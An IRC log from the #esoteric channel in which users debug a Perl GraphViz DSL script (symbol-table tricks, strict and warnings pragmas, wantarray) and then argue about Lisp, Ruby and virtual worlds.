:alise!unknown@unknown.invalid PRIVMSG #esoteric :is rational :D < 1267627637 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the variable still belongs to the scope it was historically in, even if that scope no longer exists < 1267627646 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I will need to do my $x86_64 = node('x86-64') at the very list < 1267627648 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*least < 1267627659 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: So how do you detect if your caller is assigning a variable of its own? < 1267627680 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm, in Perl5 that's tricky because the variable doesn't exist until after the function call < 1267627683 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :oh, of course < 1267627686 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you can use context tricks < 1267627694 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you're being called in scalar context if it's $foo=func('x') < 1267627694 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267627699 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and void context if it's just func('x' < 1267627702 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :*func('x') < 1267627704 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :how can you tell? < 1267627732 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the value of wantarray is undefined in void context, and some other false value in scalar context < 1267627745 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so you can specifically check if it's defined or not < 1267627766 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :node 'usys'; < 1267627766 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :node 'hw'; < 1267627766 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :edge $usys => $hw; < 1267627767 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :node 'cpu'; < 1267627767 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :edge $hw => $cpu; < 1267627767 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :↑ I foresee this becoming tedious < 1267627782 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :node qw/usys hw cpu/; < 1267627786 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Global symbol "$caller" requires explicit package name at diag.pl line 12. < 1267627786 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Global symbol "$usys" requires explicit package name at diag.pl line 23. < 1267627787 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Global symbol "$hw" requires explicit package name at diag.pl line 23. < 1267627787 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Global symbol "$hw" requires explicit package name at diag.pl line 25. < 1267627787 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Global symbol "$cpu" requires explicit package name at diag.pl line 25. < 1267627790 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lol fuq me. < 1267627793 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::| < 1267627800 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: nice < 1267627801 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :err, what's with the $ before caller? < 1267627808 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you told me to < 1267627811 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : *{"${caller}::$name"} = \$id; < 1267627824 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm... that looks correct < 1267627842 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :oh, I defined my $caller = caller earlier < 1267627845 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and forgot to tell you < 1267627847 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1267627851 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :will just {caller} work :-D < 1267627856 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :only in Perl6 < 1267627862 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :caller . '::' . $name? < 1267627882 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*caller() < 1267627889 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Still t'errors: < 1267627889 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Global symbol "$usys" requires explicit package name at diag.pl line 23. < 1267627889 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Global symbol "$hw" requires explicit package name at diag.pl line 23. < 1267627890 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Global symbol "$hw" requires explicit package name at diag.pl line 24. < 1267627890 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Global symbol "$cpu" requires explicit package name at diag.pl line 24. < 1267627898 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you have a timing problem there, in that use strict runs before the code < 1267627908 0 :MigoMipo!~migomipo@84-217-2-165.tn.glocalnet.net JOIN :#esoteric < 1267627909 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Er. Yes, yes it does. < 1267627919 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the solutions are no strict for the section, or putting the code that creates the variable in a BEGIN block < 1267627929 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The caller of node, or the sub node? < 1267627938 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the caller of node < 1267627941 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Darn. < 1267627949 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'd have to put my whole graph in BEGIN. Wait, why does that matter? :-D < 1267627953 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Will it have strict, though? < 1267627955 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :in the BEGIN < 1267627965 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the timing of use strict is begin-timing itself < 1267627970 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Global symbol "$usys" requires explicit package name at diag.pl line 25. < 1267627970 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Global symbol "$hw" requires explicit package name at diag.pl line 25. < 1267627970 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so it shouldn't < 1267627971 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Global symbol "$hw" requires explicit package name at diag.pl line 26. < 1267627971 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Global symbol "$cpu" requires explicit package name at diag.pl line 26. < 1267627971 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :even in BEGIN < 1267627979 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm, is the use strict above the begin or below? < 1267627983 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :above < 1267627987 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267627994 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Name "main::usys" used only once: possible typo at diag.pl line 26. < 1267627994 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Name "main::cpu" used only once: possible typo at diag.pl line 27. < 1267627995 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :↑ with no strict < 1267627995 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :xD < 1267628001 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :now it's just warnings < 1267628005 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Can't use string ("main::usys") as a symbol ref while "strict refs" in use at diag.pl line 14. < 1267628006 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what < 1267628015 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :line 14 < 1267628016 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : *{"${caller}::$name"} = \$id; < 1267628019 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: you want no strict 'refs'; for that procedure < 1267628032 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm... what's the part of strict that breaks the node stuff? < 1267628033 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :because injecting symbols into another scope is a "do you really want to do that?" moment < 1267628035 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the explicit package name bits < 1267628042 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I don't want to disable all of strict if I don't have to < 1267628056 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I think it's use strict "refs" in each case < 1267628062 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :or maybe use strict "vars" < 1267628063 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :nope < 1267628067 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yep, vars < 1267628070 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :now all I have is 45987345984359 errors < 1267628073 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Use of uninitialized value in string eq at /opt/local/lib/perl5/site_perl/5.8.9/GraphViz.pm line 615. < 1267628077 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh, of course < 1267628082 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : foreach (@_) { < 1267628083 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : my $name = shift; < 1267628083 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : my $id = $g->add_node(label => $name); < 1267628083 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : my $caller = caller; < 1267628083 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : *{"${caller}::$name"} = \$id; < 1267628084 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : } < 1267628090 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :doesn't $id mutate each time? I bet it's the foreach causing scope problems or something < 1267628115 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :that looks OK to me... is add_node returning a nonnull string? < 1267628124 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well. It /should/ be. Let me check. < 1267628147 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : foreach (@_) { < 1267628147 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : my $name = shift; < 1267628148 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Duh. < 1267628155 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :haha < 1267628157 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :well noticed < 1267628174 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Name "main::usys" used only once: possible typo at diag.pl line 27. < 1267628174 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Name "main::cpu" used only once: possible typo at diag.pl line 28. < 1267628178 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :any way to turn those off? < 1267628193 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it'll be no warnings "something" < 1267628197 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :but I'm not sure what the something is < 1267628207 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :maybe I should just turn of all strict and warnings for the whole thing < 1267628212 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :more trouble than it's worth for a DSL < 1267628232 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :no warnings "once"; < 1267628233 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you're meant to put a ; after a {...} on its own right? < 1267628242 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: depends on context < 1267628251 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :{ < 1267628251 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : no strict 'vars'; < 1267628252 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : no warnings 'once'; < 1267628252 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : node qw/usys hw cpu/; < 1267628252 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : edge $usys => $hw; < 1267628252 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : edge $hw => $cpu; < 1267628253 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :} < 1267628253 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :{...} as a hash constructor needs a semicolon < 1267628256 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :{} as a plain statement doesn't < 1267628259 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and this is the latter < 1267628261 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :right but i'm talking style here :P < 1267628278 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :no, you don't need one < 1267628283 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you use one after do{ }; < 1267628286 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :but not with plain {} < 1267628289 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1267628293 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :that's maybe what's confusing you < 1267628304 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :(do{} in Perl is equivalent to ({ }) in gcc) < 1267628440 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :how do you reference a variable with an invalid name? < 1267628443 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :$"x86-64"? < 1267628452 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :${"x86-64"}? < 1267628480 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I don't think invalidly-named variables can exist < 1267628487 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :as in, there isn't a place in the symbol table for them < 1267628501 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well < 1267628501 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : *{"${caller}::$_"} = \$id; < 1267628502 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :didn't barf < 1267628504 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :about it :D < 1267628530 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you could try ${"x86-64"}, although that'll annoy strict 'refs' < 1267628548 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it works :-D < 1267628564 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Unknown 'strict' tag(s) 'vars refs' at diag.pl line 24 < 1267628565 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :qw I presume < 1267628570 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1267628577 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : node 'usys'; < 1267628578 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : node qw/hw cpu x86-64/; < 1267628578 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : edge $usys => $hw; < 1267628578 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : edge $hw => $cpu; < 1267628578 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : edge $cpu => ${'x86-64'}; < 1267628580 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Not bad. < 1267628583 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'd prefer to write it like: < 1267628601 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :usys => hw < 1267628601 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hw => cpu => x86-64 < 1267628611 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, my "node" doesn't let me create duplicate names. < 1267628617 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, it does, but it gives me no way to reference them. < 1267628617 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you could get rid of the dollars, at least, by extracting variables out of the caller's scope the same way that you put them in in the first place < 1267628619 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :$noscalar was it? < 1267628624 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: wat < 1267628629 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :just by using the names < 1267628641 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :but that's probably going to slow the program down a lot for no reason < 1267628690 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :$wantarray < 1267628692 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or is it wantarray? < 1267628712 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :wantarray it seems < 1267628714 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :no dollar < 1267628718 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it's a built-in function < 1267628727 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :(kind-of hard to see how you could do it as a /non/-builtin) < 1267628728 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : *{"${caller}::$_"} = \$id if (undef wantarray); < 1267628733 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Most meaningless bit of code ever written < 1267628738 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*if undef wantarray < 1267628742 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :um, !defined wantarray < 1267628751 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :undef sets something to be undefined, rather than testing if it is defined < 1267628758 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oops < 1267628761 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and you mean "unless defined" < 1267628771 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :unless defined wantarray; < 1267628780 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :Perl has an unless control-flow operator < 1267628818 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes, I know < 1267628822 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that's why I said it < 1267628950 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :actually the main thing I want is edge foo => (bar,baz,quux); < 1267628969 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :edge $insns => ('nop', 'jump'); < 1267628972 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I could do that with varargs I guess < 1267629020 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the parens there would screw it up < 1267629033 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :is edge $insns => ['nop', 'jump'] good enough? < 1267629041 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it would turn into < 1267629042 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :or just edge $insns => 'nop', 'jump' < 1267629047 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :edge $insns, 'nop', 'jump' wouldn't it? < 1267629053 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and the latter would be fine yes of course < 1267629071 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :nope, because I don't think you can interpolate a list literal into another list literal < 1267629103 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :print $g->{"as_$ARGV[0]"}; < 1267629103 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :alas, doesn't work < 1267629106 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267629165 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(it's a method) < 1267629355 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1267629382 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : eval "print \$g->as_$fmt"; < 1267629383 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :problem solved < 1267629393 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(I blame society) < 1267629454 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://imgur.com/vMnkW.png < 1267629455 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :woot < 1267629474 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION shoots Perl
< 1267629489 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Is it hypocritical for me to shoot Perl while being interested in Ruby? < 1267629526 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :[that's probably an.. interesting and wrong usage of the word hypocritical] < 1267629553 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Perl is a better Ruby than Ruby. < 1267629570 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ruby is just the bad parts of Lisp, a tiny bit of Smalltalk messed up, and Perl combined. Badly. < 1267629653 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :I don't see any parentheses abuse in Ruby < 1267629658 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Are there other bad parts of Lisp? < 1267629674 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :paren abuse isn't really a bad part of lisp < 1267629753 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: ugh < 1267629761 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you just made me want to punch you :| don't do that < 1267629912 0 :ais523!unknown@unknown.invalid QUIT :Quit: Page closed < 1267629915 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: fodijg firstly it's not abuse it's the syntax and it's not like that for no reason, secondly it's not actually a problem < 1267629924 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :thirdly the bad parts of lisp are nothing to do with that whatsoever < 1267630264 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :I'll agree with with the first part, question the second part, and note that the third part seems to be a conclusion < 1267630401 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :What are the bad parts of Lisp? < 1267630469 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1267630485 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_, the attitude non-lisp people have towards the language is the worst thing < 1267630499 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I would think that I don't really care about such petty things, but actually it is very frustrating < 1267630508 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : now it's booted and seems to be working normally <-- did you figure out the cause scarf ? < 1267630515 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267630526 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :although I'm currently blaming either kqemu or hardware problems < 1267630546 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I would recommend that you run memtest during the next night. < 1267630580 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I've already done long memtest runs on here < 1267630586 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I don't think it's the memory that's at fault < 1267630587 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lol, Sgeo_ thinks the parens in lisp are there for no reason < 1267630589 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, and kqemu? I thought qemu was able to use kvm or something nowdays < 1267630594 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i take it back you are stupid :/ < 1267630596 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :alise, no, I know the reason. < 1267630601 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: it is, but kvm isn't installed here < 1267630604 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267630607 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :So that order of precedence doesn't need to exist < 1267630609 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :(I think) < 1267630610 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"question the second part" "and it's not like that for no reason" < 1267630613 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: HAHAHA < 1267630614 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267630634 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ignorance isn't the problem here it's that you made wild generalisations without knowing things about lisp < 1267630638 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, but does the hardware support it in theory? < 1267630648 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :no idea < 1267630652 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :" secondly it's not actually a problem" < 1267630660 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, some flag in /proc/cpu < 1267630664 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :You didn't say "secondly there is a reason" < 1267630673 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you could paste the flags line, since I don't remember which flag exactly < 1267630680 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :vmi or something iirc < 1267630687 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :all very nice for you to question it but you obviously don't know the first thing about programming in lisp soo... < 1267630723 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the bad parts of lisp... untyped syntax, needing macros to do lots of things... < 1267630732 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: I know the first thing about programming in lisp, but I'm stuck on the third or fourth < 1267630734 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that's inherent to lisp, as far as common lisp goes... all bad < 1267630739 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scheme is mostly good. < 1267630743 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(r5rs) < 1267630753 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, scheme has those clean macros though < 1267630770 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and? < 1267630771 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :argh, mental lag < 1267630776 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :nothing wrong with hygienic macros < 1267630783 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :indeed that was my point < 1267630793 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah but having to use them is still bad < 1267630800 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you need to do tons of macros in lisps when normal lazy functions would suffice < 1267630812 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I was responding to " the bad parts of lisp... untyped syntax, needing macros to do lots of things..." you see. I didn't notice you mentioned scheme between me starting typing and when I hit enter < 1267630825 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'm somewhat tired. < 1267630828 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well you still have to use them a lot which is the actual problem < 1267630832 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders if he'll have nostalgia for There
< 1267630852 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, but lisp macros are awesome. < 1267630873 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the awesomeness is the language's own downfall < 1267630879 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm maybe < 1267630881 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://www.there.com/ OH LOOK let another shitty 3d virtual reality < 1267630892 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I am utterly shocked, Sgeo_ < 1267630893 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :needing to use awesome in order to get work done may be awesome, but it means there's something wrong in the rest of the language < 1267630908 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: hey i disagree < 1267630912 0 :cpressey!~CPressey@173-9-215-173-Illinois.hfc.comcastbusiness.net JOIN :#esoteric < 1267630913 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :dependent types - printf < 1267630916 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so thar :P < 1267630925 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :printf doesn't /need/ dependent types, they just make it better < 1267630928 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but the fact that lisp requires you to use macros all the time is a problem due to the nature of macros < 1267630932 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, yeah, backtracking with macros + call/cc... (seen that, think it was from that "fixnum days" tutorial?) < 1267630933 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: well, yes. < 1267630938 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so that's good awesome < 1267630940 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :alise, every time I've been there [twice], it's left a bad taste in my mouth. < 1267630965 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The 3D has too many polygons for your liking? < 1267630966 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267630968 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1267630987 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Not enough room for creativity. Although it's not as bad as IMVU < 1267630991 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :I hate IMVU with a passion < 1267631028 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Until someone shows me how to get to a populated chatroom in IMVU [and I mean more than 10 people], I'll continue to hate it < 1267631047 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I'm not sure lisp actually requires you to use macros < 1267631061 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ooh time for some AnMaster pedancy < 1267631096 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I was about to add that it would be rather painful to code in lisp without the macros though < 1267631109 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you have macros no matter what - "special forms" < 1267631116 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well < 1267631120 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes, yes you do < 1267631123 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm wait < 1267631127 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :there is one way you could do it < 1267631139 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(quote-symbol (list 97 98)) == 'ab < 1267631144 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and then use (list x) < 1267631165 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(if (= (+ 2 2) 4) (list (quote-symbol (list ... numbers spelling 'display' ... < 1267631167 